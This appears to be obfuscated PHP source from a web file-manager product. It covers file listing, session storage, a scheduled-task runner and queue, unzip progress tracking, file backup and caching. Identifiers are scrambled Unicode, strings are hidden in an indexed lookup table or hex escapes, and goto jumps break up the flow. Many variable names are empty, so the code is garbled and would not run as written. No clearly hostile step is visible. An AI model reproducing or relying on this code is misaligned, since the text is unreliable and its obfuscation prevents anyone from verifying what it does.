$_SERVER[]; $Φⷍ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($Φⷍ[$讹[398]]); $this->_listAppendUser($Φⷍ[$讹[398]]); $this->_listAppendMeta($Φⷍ[$讹[398]]); return $Φⷍ; } private function _makeOrder() { $녈 =& $_SERVER[]; $ = array($녈[1898], $녈[1897], $녈[201]); $ŷ = Input::get($녈[486], $녈[7], $녈[452], $); $Ń = Input::get($녈[487], $녈[7], $녈[1669], array($녈[1912], $녈[482])); $װ = $ŷ . $녈[53] . $Ń; return $this->order($װ); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1895])); $ = array_remove_value($, $[198]); if (!$) { return; } $ = $this->where(array($[1896] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[1903]); foreach ($ as &$϶) { if (isset($[$϶[$[1895]]])) { $϶[$[1913]] = $[$϶[$[1895]]]; } } unset($϶); } private function _listAppendUser(&$) { $䈗 =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $䈗[12], $䈗[1676])); $ = array_remove_value($, $䈗[198]); if (count($) == 0) { return; } foreach ($ as $۳) { if (isset($۳[$䈗[1913]])) { $[] = $۳[$䈗[1913]][$䈗[1676]]; } } $涋 = Model($䈗[554])->userListInfo($); foreach ($ as &$۳) { $۳[$䈗[619]] = $涋[$۳[$䈗[1676]]]; if (isset($۳[$䈗[1913]])) { $۳[$䈗[1913]][$䈗[619]] = $涋[$۳[$䈗[1913]][$䈗[1676]]]; } } unset($۳); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ѹ = array_unique(array_to_keyvalue($, $[12], $[1903])); $ѹ = array_remove_value($ѹ, $[198]); if (!$ѹ) { return; } foreach ($ as $צ) { if (isset($צ[$[1913]])) { $ѹ[] = $צ[$[1913]][$[1903]]; } } $ = $this->metaList($ѹ); if (!$) { return !1; } foreach ($ as &$צ) { $צ[$[495]] = $[$צ[$[1903]]]; if (isset($צ[$[1913]])) { $צ[$[1913]][$[495]] = $[$צ[$[1913]][$[1903]]]; } } unset($צ); } private function metaList($ǩѵ) { $ =& $_SERVER[]; if (!$ǩѵ) { return array(); } $᜝ۜ = array($[1903] => array($[7], $ǩѵ)); $ = Model($[1914])->where($᜝ۜ)->select(); $ = array_to_keyvalue_group($, $[1903]); foreach ($ as $șװ => $Ј㟻) { $Ĝ = array(); foreach ($Ј㟻 as $ʲ) { $Ĝ[$ʲ[$[94]]] = $ʲ[$[403]]; } $[$șװ] = $Ĝ; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\146\x69\154\145\x5f\x63\157\156\164\x65\x6e\164\x73"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\x65\124\151\155\145", "\164\x69\155\x65", "\x69\x6e\x73\x65\x72\x74", "\146\165\x6e\x63\164\151\x6f\x6e")); } goto Fdž; c: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $Ϩݮ =& $_SERVER[]; static $ = false; if ($) { return $; } $ё = $GLOBALS[$Ϩݮ[6]][$Ϩݮ[378]]; self::$sessionTime = $ё[$Ϩݮ[1629]]; $蝙 = isset($GLOBALS[$Ϩݮ[1630]]) ? $GLOBALS[$Ϩݮ[1630]] : SESSION_ID; if (Cookie::get($蝙)) { self::$sessionSign = Cookie::get($蝙); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } Cookie::setSafe($蝙, self::$sessionSign, self::$sessionTime); $돯 = $ё[$Ϩݮ[1631]]; $ = $ё[$돯]; $ = $ё[$Ϩݮ[854]]; switch ($돯) { case $Ϩݮ[21]: self::$handle = Model($Ϩݮ[855]); break; case $Ϩݮ[856]: self::$handle = new CacheRedis($, $); break; case $Ϩݮ[857]: self::$handle = new CacheMemcached($, $); break; case $Ϩݮ[200]: $[$Ϩݮ[84]] = $[$Ϩݮ[84]] . $Ϩݮ[1632]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $ީ = self::$handle->get($); $ީ = unserialize($ީ); return is_array($ީ) ? $ީ : array(); } public static function setBySign($, $嗆) { CacheLock::lock($); self::$handle->set($, serialize($嗆), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($, $ = false) { self::init(); if (is_array($)) { foreach ($ as $ʴ => $) { array_set_value(self::$data, $ʴ, $); } } else { array_set_value(self::$data, $, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][859])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[776]) != $[88]) { return; } if (self::valueGet($[1633]) == $[88]) { $ = self::valueGet($[1634]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$[1635]] = 1; self::valueSet($[1633], $[88]); self::log($[1636] . ACTION . $[1637]); $_SERVER[$[1638]] = $[1639]; Session::$data = array(); Session::$sessionSign = $[12]; $GLOBALS[$[523]] = 1; Hook::bind($[1640], $[1641]); $Ǣ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[776]) != $[88]) { self::valueSet($[1633], $[198]); self::log($[1642]); die; } $ = time(); if ($ - $Ǣ >= 60) { self::valueSet(array($[1633] => $[88], $[1634] => $), !1); $Ǣ = $; } if (!file_exists(USER_SYSTEM . $[1643])) { self::valueSet(array($[1633] => $[198], $[776] => $[198]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $Ŀ =& $_SERVER[]; http_close(); self::valueSet($Ŀ[776], $Ŀ[198]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($Ŀ[1633] => $Ŀ[198], $Ŀ[776] => $Ŀ[88]), !1); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[776]) == $[88] ? $[198] : $[88]; self::valueSet($[776], $); } public static function shutdownEvent() { $ɬͻ =& $_SERVER[]; self::valueSet($ɬͻ[1633], $ɬͻ[198]); self::log($ɬͻ[1644]); } public static function config($, $̀) { self::valueSet($_SERVER[][776], $); } private static function taskRunAll() { $㳺 =& $_SERVER[]; $ = timeFloat(); $ݟ = Model($㳺[1645])->listData(); $Ņ = count($ݟ); for ($ = 0; $ < $Ņ; $++) { $ = $ݟ[$]; if (!$[$㳺[428]] || $[$㳺[1646]] != $㳺[88]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($㳺[1647]); self::taskQueueRun($); } private static function taskQueueRun($) { $ķߴ = 10; while (!0) { $뿳 = TaskQueue::run(); if ($뿳 === !1) { break; } if (timeFloat() - $ >= $ķߴ) { break; } } } private static function taskTimeCheck($) { $׈ =& $_SERVER[]; $ = json_decode($[$׈[180]], !0); $҉ = intval($[$׈[1634]]); $ȥ = strtotime($׈[1648] . $[$׈[1649]] . $׈[1650]) - strtotime($׈[1651]); $ = time() - strtotime(date($׈[1652]) . $׈[1653]); $݈ = $ >= $ȥ && $ <= $ȥ + 3600; switch ($[$׈[33]]) { case $׈[1654]: if (time() - $҉ < 3600 * 24 * 30) { return !1; } if ($[$׈[1654]] == date($׈[1655]) && $݈) { return !0; } break; case $׈[1656]: if (time() - $҉ < 3600 * 24 * 7) { return !1; } $ = date($׈[1657]) == 0 ? 7 : date($׈[1657]); if ($[$׈[1656]] == $ && $݈) { return !0; } break; case $׈[1649]: if (time() - $҉ < 3600 * 24) { return !1; } if ($݈) { return !0; } break; case $׈[1658]: if (time() - $҉ >= floatval($[$׈[1658]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $簧 = 0; $Ž = 300; if (!$簧) { $簧 = time(); } if (time() - $簧 < $Ž) { return; } $簧 = time(); $ŏ = Model($[533])->db($[12]); if ($ŏ) { $ŏ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1659], $[1660]); die; } } public static function taskRun($) { $씧 =& $_SERVER[]; self::log($씧[1661] . $[$씧[428]] . $씧[1662] . $[$씧[32]] . $씧[1663] . $[$씧[1664]]); Model($씧[1645])->run($[$씧[428]]); $삥 = timeFloat(); $ = $씧[12]; switch ($[$씧[33]]) { case $씧[336]: $˂ = url_request($[$씧[1664]], $씧[230], !1, !1, !1, !1, 10); if ($˂[$씧[776]]) { $ = strlen($˂[$씧[1235]]); } break; case $씧[229]: $ = Hook::apply($[$씧[1664]]); default: break; } Model($씧[1665])->add(array($씧[1666] => $씧[12], $씧[1667] => $씧[198], $씧[33] => $씧[1668] . $[$씧[428]], $씧[1669] => json_encode(array($씧[32] => $[$씧[32]], $씧[1670] => timeFloat() - $삥, $씧[322] => $)))); $ = $ ? $씧[1671] . $ : $씧[12]; self::log($씧[1672] . $[$씧[428]] . $씧[164] . $); return !0; } public static function valueGet($ފ) { $Ф =& $_SERVER[]; $ = $Ф[1673]; $ֆͮ = Model($Ф[464])->get($ފ, $); if (is_null($ֆͮ)) { Model($Ф[464])->set($Ф[776], $Ф[88], $); Model($Ф[464])->set($Ф[1633], $Ф[198], $); $ֆͮ = Model($Ф[464])->get($ފ, $); } return $ֆͮ; } private static function valueSet($Β٘, $) { $ʀ =& $_SERVER[]; $ܵ = $ʀ[1674]; CacheLock::lock($ܵ); $ = Model($ʀ[464])->set($Β٘, $, $ʀ[1673]); CacheLock::unlock($ܵ); return $; } protected static function log($ʑ) { write_log($ʑ, $_SERVER[][1660]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[464])->cacheKey($[1673])); Cache::clearMemory(Model($[464])->cacheKey($[1675])); Model($[1645])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\164\157\x70"; const STATYS_RUNNING = "\162\x75\156\x6e\151\156\147"; const STATYS_KILL = "\153\x69\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ͅ = '', $ = 0, $߃ = '') { $ׯ̈ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($ׯ̈[428] => $, $ׯ̈[1676] => USER_ID, $ׯ̈[1574] => $߃, $ׯ̈[482] => $ׯ̈[12], $ׯ̈[33] => $ͅ, $ׯ̈[1097] => $ׯ̈[12], $ׯ̈[812] => $, $ׯ̈[1677] => 0, $ׯ̈[1678] => 0, $ׯ̈[1679] => 0, $ׯ̈[1680] => timeFloat(), $ׯ̈[1681] => 0, $ׯ̈[1682] => 0, $ׯ̈[1683] => 0, $ׯ̈[1684] => 0, $ׯ̈[776] => $ׯ̈[1633]); $GLOBALS[$ׯ̈[1685]] = 1; Hook::bind($ׯ̈[1640], array($this, $ׯ̈[1686])); Hook::bind($ׯ̈[1687], array($this, $ׯ̈[1688])); $this->startAfter(); Hook::trigger($ׯ̈[1689], $this->task); $this->task[$ׯ̈[1682]] = timeFloat(); } public function end($ܯ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1682]]) { self::valueSet($this->task[$[428]], !1); } $this->isEnd = !0; if ($ܯ) { $this->task[$[482]] = $ܯ; } self::log($[1690] . $this->task[$[428]] . $[1691] . sprintf($[876], timeFloat() - $this->task[$[1680]]) . $[1692]); Hook::unbind($[1640], array($this, $[1686])); Hook::unbind($[1687], array($this, $[1688])); $this->endAfter(); $Ӡ = $this->task; $this->task = !1; Hook::trigger($[1693], $Ӡ); } public function update($ҥ = 0, $ = false) { $ݹ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$ݹ[1677]] += $ҥ; $[$ݹ[1681]] = timeFloat(); if ($[$ݹ[812]]) { if ($[$ݹ[812]] < $[$ݹ[1677]]) { $[$ݹ[812]] = $[$ݹ[1677]]; } $Ý = timeFloat() - $[$ݹ[1680]] - $[$ݹ[1683]]; if ($Ý <= 0) { $Ý = 0.001; } $[$ݹ[1678]] = $[$ݹ[1677]] / $[$ݹ[812]]; $[$ݹ[1679]] = $[$ݹ[1677]] / $Ý; if ($[$ݹ[1678]] > 0) { $[$ݹ[1684]] = $Ý * (1 - $[$ݹ[1678]]) / $[$ݹ[1678]]; } $[$ݹ[1684]] = $[$ݹ[1684]] <= 0 ? 0 : $[$ݹ[1684]]; } $this->updateAfter(); $֨ = 0.2; if (timeFloat() - $[$ݹ[1682]] < $֨ && !$) { return; } $ = self::get($[$ݹ[428]]); $© = $[$ݹ[776]]; if ($© == self::STATYS_KILL) { $ͫ = array($ݹ[1694] => LNG($ݹ[1695]), $ݹ[1245] => !1); Cache::set($ݹ[1696] . $this->task[$ݹ[428]], $ͫ, 30); $this->onKill(); $this->end(); die; } else { if ($© == self::STATYS_STOP) { $׀ = 2; $[$ݹ[1683]] += $׀; self::valueSet($[$ݹ[428]], $); sleep($׀); $this->update(); return; } } $[$ݹ[776]] = $© ? $© : $[$ݹ[776]]; $[$ݹ[1683]] = $[$ݹ[1683]] ? $[$ݹ[1683]] : 0; $[$ݹ[1682]] = timeFloat(); Hook::trigger($ݹ[1697], $); self::valueSet($[$ݹ[428]], $); } public function onKillSet($, $ݙ = array()) { $this->onKillCall = array($, $ݙ); } public function onKill() { $ؖ =& $_SERVER[]; self::log($ؖ[1690] . $this->task[$ؖ[428]] . $ؖ[1698]); Hook::trigger($ؖ[1699], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ =& $_SERVER[]; Cache::set($[1696] . $this->task[$[428]], $, 60); return $; } public static function get($졜ۼ) { $¼ =& $_SERVER[]; $ = self::valueGet($졜ۼ); if (is_array($) && $[$¼[1700]]) { $ = ActionApply($[$¼[1700]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $۴ = self::valueGet(); return array_sort_by($۴, $_SERVER[][1680], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($܊Ȭ) { return self::changeStatus($܊Ȭ, self::STATYS_RUNNING); } public static function killAll() { $Ƿ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$Ƿ[428]]); } sleep(2); foreach ($ as $) { self::valueSet($[$Ƿ[428]], !1); } } private static function changeStatus($, $߈) { $Ź =& $_SERVER[]; $Ԭ = self::valueGet($); if (!$Ԭ) { return !1; } $Ԭ[$Ź[776]] = $߈; self::valueSet($, $Ԭ); self::log($Ź[1701] . $Ԭ[$Ź[428]] . $Ź[1702] . $߈); return !0; } public static function valueGet($Ҿ߄ = false) { $ =& $_SERVER[]; if ($Ҿ߄) { $ڷ = Model($[476])->where(array($[94] => $Ҿ߄, $[33] => $[1104]))->find(); return $ڷ ? json_decode($ڷ[$[403]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1104]); if ($) { $[$[1676]] = $; } $¡ = Model($[476])->where($)->select(); $¡ = $¡ ? $¡ : array(); foreach ($¡ as $ => $±) { $¡[$] = json_decode($±[$[403]], !0); } return $¡; } public static function valueSet($, $Ҝ) { $ =& $_SERVER[]; if (!$Ҝ) { return Model($[476])->where(array($[94] => $, $[33] => $[1104]))->delete(); } $ = json_encode($Ҝ); if (!$) { ob_start(); var_dump($Ҝ); $ = ob_get_clean(); self::log($[1703] . json_encode_force($)); } if (!$ || !$Ҝ[$[428]]) { return !1; } $ = array($[33] => $[1104], $[1676] => USER_ID, $[94] => $, $[403] => $); $㿝 = $[1704]; CacheLock::lock($㿝); Model($[476])->add($, array(), !0); CacheLock::unlock($㿝); } public static function log($ꐰ) { if (!GLOBAL_DEBUG) { return; } write_log($ꐰ, $_SERVER[][1705]); } } goto F; d: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\163\x6b\x51\165\145\x75\145\x4c\x65\x6e\147\164\x68"; const QUEUE_DATA = "\x74\x61\163\153\x51\x75\145\165\145\x44\141\164\141"; public static $listData = false; public static function initTask() { } public static function add($˻, $׌ӈ = array(), $ۉ = '', $ω = '') { $ƙ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ω && array_find_by_field(self::$listData, $ƙ[94], $ω)) { return !0; } self::$listData[] = array($ƙ[293] => $˻, $ƙ[1774] => $׌ӈ, $ƙ[482] => $ۉ, $ƙ[94] => $ω); return !0; } public static function addSubmit() { $ط =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($ط[1775] . json_encode_force(array_to_keyvalue(self::$listData, $ط[12], $ط[482])), $ط[1776]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($҃ʟ, $蟹 = array(), $Ν = '', $Ȅ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $Ñ = self::getAll(); if ($Ȅ && array_find_by_field($Ñ, $[94], $Ȅ)) { return !0; } $Ñ[] = array($[293] => $҃ʟ, $[1774] => $蟹, $[482] => $Ν, $[94] => $Ȅ); write_log($[1775] . $Ν, $[1776]); self::setAll($Ñ); return !0; } public static function run() { $Ѳ =& $_SERVER[]; $Ȇ̃ = self::getAll(); $Ԫ̲ = array_shift($Ȇ̃); if (!$Ԫ̲) { return !1; } self::setAll($Ȇ̃); $뙀 = timeFloat(); $ = $Ѳ[12]; try { $ = Hook::apply($Ԫ̲[$Ѳ[293]], $Ԫ̲[$Ѳ[1774]]); } catch (Exception $ʻ) { } $; = number_format(timeFloat() - $뙀, 3) . $Ѳ[1692]; if ($ && is_string($)) { $; = $; . $Ѳ[1777] . $; } write_log($Ѳ[1778] . $Ԫ̲[$Ѳ[482]] . $Ѳ[1779] . $;, $Ѳ[1776]); return !0; } public static function count() { $çٝ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$çٝ) { return 0; } return intval($çٝ); } public static function getAll() { $ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$) { return array(); } return $; } public static function setAll($ө) { $ˊ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ө), $ˊ); Cache::set(self::QUEUE_DATA, $ө, $ˊ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ը, $ӯ = 5.0) { if (!$ը) { return; } $ = Cache::get($ը); if (!$ || timeFloat() - floatVal($) >= $ӯ) { Cache::set($ը, timeFloat(), $ӯ * 10); return !0; } return !1; } public static function timeLimitCall($ҿ, $, $֥, $ť = 5.0) { $ =& $_SERVER[]; if (!$ҿ || !$) { return; } self::$asyncAdd = !0; $̡ = $[1780]; $ = Cache::get($̡, !0); $؂պ = array($[1781] => timeFloat(), $[1782] => timeFloat(), $[293] => $, $[1774] => $֥, $[180] => $ť); if (is_array($[$ҿ])) { $؂պ[$[1782]] = $[$ҿ][$[1782]]; } if (is_array($[$ҿ])) { if (timeFloat() - $[$ҿ][$[1781]] < $؂պ[$[180]] * 0.3) { return; } $؂պ[$[1782]] = $[$ҿ][$[1782]]; } $[$ҿ] = $؂պ; Cache::set($̡, $, 60); Cache::removeMemory($̡); write_log($[1783] . $ҿ . $[71] . $, $[1776]); } public static function timeLimitCallLoop() { $ߪ =& $_SERVER[]; $ = array($ߪ[1784]); $ܔ = in_array(strtolower(ACTION), $); if (!$ܔ && !self::$asyncAdd) { return; } $Ⱦ = $ߪ[1780]; $ = Cache::get($Ⱦ, !0); if (!$ || count($) <= 0) { return; } $ը = !1; $ԉ = timeFloat(); $ⲯ = array(); foreach ($ as $ʹ => $׽Ţ) { if ($ԉ - $׽Ţ[$ߪ[1782]] > $׽Ţ[$ߪ[180]]) { $ը = !0; try { Hook::apply($׽Ţ[$ߪ[293]], $׽Ţ[$ߪ[1774]]); write_log($ߪ[1785] . $ʹ . $ߪ[71] . $׽Ţ[$ߪ[293]] . $ߪ[1786] . ACTION, $ߪ[1776]); } catch (Exception $“) { } continue; } $ⲯ[$ʹ] = $׽Ţ; } if (!$ը) { return; } if (!$ⲯ) { return Cache::remove($Ⱦ); } Cache::set($Ⱦ, $ⲯ, 60); Cache::removeMemory($Ⱦ); } public static function finished($Ƒ, $) { $˝ʷ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($˝ʷ[293] => $Ƒ, $˝ʷ[1774] => $); } private static function finishedRun() { $Ŧ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$Ŧ[293]], $[$Ŧ[1774]]); } catch (Exception $ď歕) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1787], array($this, $[1788])); Hook::bind($[1226], array($this, $[1789])); $۾ =& $this->task; $۾[$[1790]] = $[1227]; if (!$۾[$[1574]]) { $۾[$[1574]] = LNG($[1791]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1787], array($this, $[1788])); Hook::unbind($[1226], array($this, $[1789])); } public function updateAfter() { $ =& $_SERVER[]; $¾ =& $this->task; if (!$¾[$[812]] || !$¾[$[789]]) { return; } if ($¾[$[1790]] == $[1227]) { $ = 0; if ($¾[$[1729]]) { $ = $¾[$[1730]] / $¾[$[1729]]; } $¾[$[1678]] = $ * 0.3; } else { if ($¾[$[1790]] == $[342]) { $ = $¾[$[1677]] / $¾[$[812]]; $¾[$[1678]] = 0.3 + $ * 0.4; } else { if ($¾[$[1790]] == $[107]) { $ = 0; if ($¾[$[1731]] == $[107]) { $ = $¾[$[1730]]; } $ = ($¾[$[1734]] + $) / $¾[$[789]]; $¾[$[1678]] = 0.3 + 0.4 + $ * 0.3; } } } if ($¾[$[1678]] > 0) { $ = timeFloat() - $¾[$[1680]] - $¾[$[1683]]; $¾[$[1684]] = $ * (1 - $¾[$[1678]]) / $¾[$[1678]]; } } public function addFile($) { $ =& $_SERVER[]; $͂ =& $this->task; $ = IO::info($); $͂[$[1727]] = $[$[32]]; $͂[$[1729]] = $[$[76]]; $͂[$[1730]] = 0; $͂[$[1097]] = $[1750]; $͂[$[1731]] = $[1227]; $͂[$[789]] = $[$[76]]; $͂[$[812]] = 1; $ = 0; $͂[$[1738]] = array($[1739] => $ + 1, $[449] => $[$[32]], $[84] => $[$[84]], $[538] => $[$[538]] ? $[$[538]] : $[$[84]]); $this->update(); } public function unzipAfter($ܜ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1790]] = $[107]; $ = IO::infoWithChildren($ܜ); $Ǎ = 0; $[$[1738]] = array($[1739] => $Ǎ + 1, $[449] => $[$[32]], $[84] => $[$[84]], $[538] => $[$[538]] ? $[$[538]] : $[$[84]]); if ($[$[33]] == $[200]) { $[$[812]] = 1; } else { $[$[812]] = $[$[79]][$[77]]; } $[$[1097]] = $[12]; $[$[1731]] = 0; $[$[1677]] = 0; $[$[1729]] = 0; $[$[1730]] = 0; $[$[1727]] = $[12]; $[$[1734]] = 0; $[$[789]] = $[$[76]]; $this->update(); self::log($[1792] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $Ջ =& $this->task; if ($Ջ[$[1790]] == $[1227]) { $Ջ[$[1790]] = $[342]; $Ջ[$[1734]] = 0; $Ջ[$[789]] = 0; } $Ѽ = get_path_this($); if (strstr($Ѽ, $[10])) { $Ջ[$[1677]] += 1; $Ջ[$[812]] += 1; } $Ջ[$[1727]] = $; $this->update(); } } goto dؠ; a܆⠯: class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[][322]][$_SERVER[][200]][$_SERVER[][497]]; $ = array($_SERVER[][498] => array($_SERVER[][833], $), $_SERVER[][834] => array($_SERVER[][360], $[$_SERVER[][777]])); $ա = (int) Model($_SERVER[][815])->where($)->count($_SERVER[][497]); $ = (int) Model($_SERVER[][815])->where($)->sum($_SERVER[][76]); $ǒ = new TaskFileTransfer($_SERVER[][835], $_SERVER[][806], $ա, LNG($_SERVER[][807]) . $_SERVER[][808] . LNG($_SERVER[][836])); $ǒ->task[$_SERVER[][789]] = $; $஧ = array($_SERVER[][837] => $ա, $_SERVER[][838] => $, $_SERVER[][839] => time()); Backup::set($஧); $气 = !0; $ = $this->storeIds(); $ = 1; $ߒ = 1000; $ = $ = 0; $ü = array(); $ = $ = 0; do { $ = $_SERVER[][840]; $ = Model($_SERVER[][815])->where($)->field($)->order($_SERVER[][841])->selectPage($ߒ, $); $檡ڲ = !empty($[$_SERVER[][398]]) ? $[$_SERVER[][398]] : array(); foreach ($檡ڲ as $ḖŽ) { if (!$this->_fileExist($ḖŽ, $ü, $)) { $ա -= 1; $ -= (int) $ḖŽ[$_SERVER[][76]]; write_log("\146\151\154\x65\40\x6e\157\x74\x20\145\x78\151\163\x74\56\x66\x69\x6c\145\x49\104\72{$ḖŽ[$_SERVER[][497]]}\x2c\x20\160\141\164\150\72{$ḖŽ[$_SERVER[][84]]}", $_SERVER[][842]); continue; } $ = $ḖŽ[$_SERVER[][84]]; $ = "\173\x69\x6f\72{$[$_SERVER[][777]]}\175" . substr($, strlen("\x7b\151\157\72{$ḖŽ[$_SERVER[][843]]}\175")); if (IO::exist($)) { $ǒ->updateFileEnd($ḖŽ[$_SERVER[][32]], $ḖŽ[$_SERVER[][76]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[][844])) { write_log($_SERVER[][845] . $ . $_SERVER[][829] . $ . $_SERVER[][164], $_SERVER[][806]); $气 = !1; break; } } $ = $ḖŽ[$_SERVER[][497]]; $ += 1; $ += $ḖŽ[$_SERVER[][76]]; $ += 1; $ += $ḖŽ[$_SERVER[][76]]; if ($ >= 1024 * 1024 * 100) { $஧ = array($_SERVER[][846] => $, $_SERVER[][847] => $, $_SERVER[][848] => $); Backup::set($஧); $ = $ = 0; } } $޵ = count($檡ڲ); $++; } while ($޵ == $ߒ); $ǒ->end(); $஧ = array($_SERVER[][849] => 1, $_SERVER[][787] => time(), $_SERVER[][801] => 1, $_SERVER[][846] => $, $_SERVER[][838] => $, $_SERVER[][837] => $ա, $_SERVER[][850] => time()); if ($) { $஧[$_SERVER[][847]] = $; $஧[$_SERVER[][848]] = $; } Backup::set($஧); $this->_fileFilter($ü); return !0; } private function _fileExist($Әů, &$ʠ, $˰) { $ =& $_SERVER[]; $ʓ = $Әů[$[84]]; if (in_array($Әů[$[497]], $ʠ)) { return !1; } if (!in_array($Әů[$[843]], $˰)) { return !1; } if (IO::exist($ʓ)) { return !0; } $ժ = get_path_father($ʓ); if (IO::exist($ժ)) { $ʠ[] = $Әů[$[497]]; return !1; } $ғ = array($[843] => $Әů[$[843]], $[84] => array($[412], "{$ժ}\45")); $ڮ = Model($[815])->where($ғ)->field($[498])->select(); $ʠ = array_merge($ʠ, array_to_keyvalue($ڮ, $[12], $[497])); return !1; } private function _fileFilter($͜) { $ᅬ =& $_SERVER[]; if (empty($͜)) { return; } $ɲ񒉞 = array($ᅬ[497] => array($ᅬ[7], array_unique($͜))); $ء = Model($ᅬ[851])->where($ɲ񒉞)->field($ᅬ[431])->select(); foreach ($ء as $) { Model($ᅬ[851])->remove($[$ᅬ[431]], !1); } } private function storeIds() { $ܳ =& $_SERVER[]; $ = Model($ܳ[793])->listData(); $ = array(); $ = $GLOBALS[$ܳ[6]][$ܳ[89]][$ܳ[852]]; foreach ($ as $怋) { $֟̃ = strtolower($怋[$ܳ[95]]); if (!isset($[$֟̃])) { continue; } $ܞ = $ܳ[74] . (isset($[$֟̃]) ? $[$֟̃] : ucfirst($֟̃)); if (!class_exists($ܞ)) { continue; } $[] = $怋[$ܳ[428]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ݏ = $GLOBALS[$[6]][$[378]]; $҆ = $ݏ[$ݏ[$[853]]]; $΄ = $ݏ[$[854]]; switch ($ݏ[$[853]]) { case $[21]: self::$handle = Model($[855]); break; case $[856]: self::$handle = new CacheRedis($҆, $΄); break; case $[857]: self::$handle = new CacheMemcached($҆, $΄); break; case $[200]: self::$handle = new CacheFile($҆, $΄); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($Ѓ) { if (is_array($Ѓ) || is_object($Ѓ)) { $Ѓ = json_encode($Ѓ); } $Ѓ = rawurlencode($Ѓ); return md5(KOD_SITE_ID . $_SERVER[][11] . $Ѓ); } public static function get($Α˗, $ = false) { $ = self::key($Α˗); if ($) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ = self::init()->get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($Ȳ, $̝, $￁ = false) { $칛 = self::key($Ȳ); if (isset(self::$memoryCache[$칛]) && self::$memoryCache[$칛] === $̝) { return !0; } if ($￁ === 0) { self::$memoryCache[$칛] = $̝; return !0; } 